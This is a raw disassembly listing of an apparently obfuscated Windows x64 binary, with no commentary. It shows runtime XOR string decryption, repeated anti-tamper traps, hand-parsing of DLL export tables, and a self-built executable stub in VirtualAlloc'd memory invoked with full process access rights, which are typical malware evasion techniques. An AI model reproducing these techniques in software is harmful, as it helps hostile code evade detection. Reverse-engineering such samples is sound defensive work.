jne 0x14001b378
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
call fcn.1400853a0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140027648
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b442
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b422
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b422
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b442
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b4ec
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b4cc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b4cc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b596
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b576
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b576
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b596
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b640
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b620
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b620
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b640
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b6ea
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b6ca
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b6ca
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b6ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b7ac
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b78c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b78c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b7ac
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b856
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b836
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b836
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b856
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140026be0
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b928
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b908
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b908
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b928
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14001bc36
xor r14d, r14d
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001b9e4
mov rax, qword gs:[0x38]
mov ecx, 0x29a87bfd
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bcf7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bcf7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001bcf7
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140016a84
mov r15d, eax
mov rcx, qword gs:[7]
cmp rcx, rsi
jne 0x14001baa3
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14001bd17
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14001bd17
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14001bd17
test r15d, r15d
jne 0x14001bd77
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001bb4c
mov rax, qword gs:[0x38]
movabs rcx, 0xf6959430e7eecbd0
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14001bd37
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14001bd37
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14001bd37
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x14001bc13
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14001bd57
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14001bd57
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14001bd57
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14001b949
xor r15d, r15d
mov rax, qword gs:[7]
cmp rax, rsi
jne 0x140025a4c
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bcd7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bcd7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025a4c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14008c368
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x42a70d2b
mov dword [rbp + 0x214], 0x60677265
mov dword [rbp + 0x218], 0x1985221d
mov word [rbp + 0x21c], recvfrom
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x134d3699f
movabs r9, 0xfaebc5d20
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1f5d78ba40
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14001be1a
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x9b7fb053
mov dword [rbp + 0x84], 0x124316b3
mov word [rbp + 0x88], 0xee
mov r8, r14
movabs r9, 0xadb6eb6a0
mov r10d, 9
movabs r11, 0x15b6dd6d40
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14001beb8
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001c141
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001c141
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001c141
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001c141
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001c141
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001bfb3
inc rax
test edi, edi
jne 0x14001bf9e
test r8d, r8d
je 0x14001bfc5
inc rdx
cmp rdx, rsi
jb 0x14001bf8d
jmp 0x14001c141
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001c141
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14001c13e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400853a0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140027648
lea rcx, [rbp + 0x7420]
call fcn.140026be0
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140026be0
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001c053
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400aee20
mov dword [0x1400f7464], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f7460]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f7468]
mov word [rdi + 8], ax
mov al, byte [0x1400f746a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400af4c0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f7464], r14d
test edi, edi
js 0x14001c154
jmp 0x14001c141
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14001c16a
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14001654c
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x6b0da058
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[7]
ja 0x1400256bd
cmp rax, rbx
jne 0x14001c22c
mov rax, qword gs:[0x38]
mov esi, 0x29a87bfd
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c20c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c20c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c22c
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df7c0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400df670]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x5ffc720f
mov word [rbp + 0xbc4], 0x1004
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x134d3699f
movabs r9, 0x2dd761adc0
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x5baec35b80
cmp r9, rax
jb 0x14001c28c
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140010fac
mov rax, qword gs:[7]
cmp rax, rbx
mov esi, 0x29a87bfd
movabs r15, 0xf6959430e7eecbd0
jne 0x14001c3bf
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c39f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c39f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c3bf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
call fcn.1400167ac
mov rcx, qword gs:[7]
test al, al
jne 0x14001c75b
cmp rcx, rbx
jne 0x14001c476
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c456
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c456
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c476
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xbd
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x14820a03a0
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2904140740
movabs r13, 0x134d3699f
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001c4c0
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400df770]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400df450]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_33
movabs r10, 0x256599ca60
movabs r15, 0x4acb3394c0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r15
jb 0x14001c561
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[7]
cmp rax, rbx
movabs r15, 0xf6959430e7eecbd0
jne 0x14001c6ad
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x2052728a
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x3e65b665
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c68d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c68d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c6ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
mov rax, qword gs:[7]
cmp rax, rbx
jne 0x140026033
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c73b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c73b
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026033
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
cmp rcx, rbx
jne 0x14001c7fc
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c7dc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c7dc
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c7fc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008c368
int3
movdqa xmm0, xmmword [0x1400df520]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x134d3699f
movabs r9, 0x134d369a00
lea r10d, [rax + 0x10]
movabs r11, 0x269a6d3400
movabs r15, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14001c843
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14001659c
mov rax, qword gs:[7]
cmp rax, rbx
mov esi, 0x29a87bfd
jne 0x14001c962
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c942
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c942
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c962
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008c368
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14001cafb
movdqa xmm0, xmmword [0x1400df4d0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xbd
mov r10, r14
movabs rbx, 0x134d3699f
movabs r8, 0x14820a03a0
lea r11d, [rax + 0x11]
movabs r9, 0x2904140740
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001c9cd
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400df630]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400df760]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x535c
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
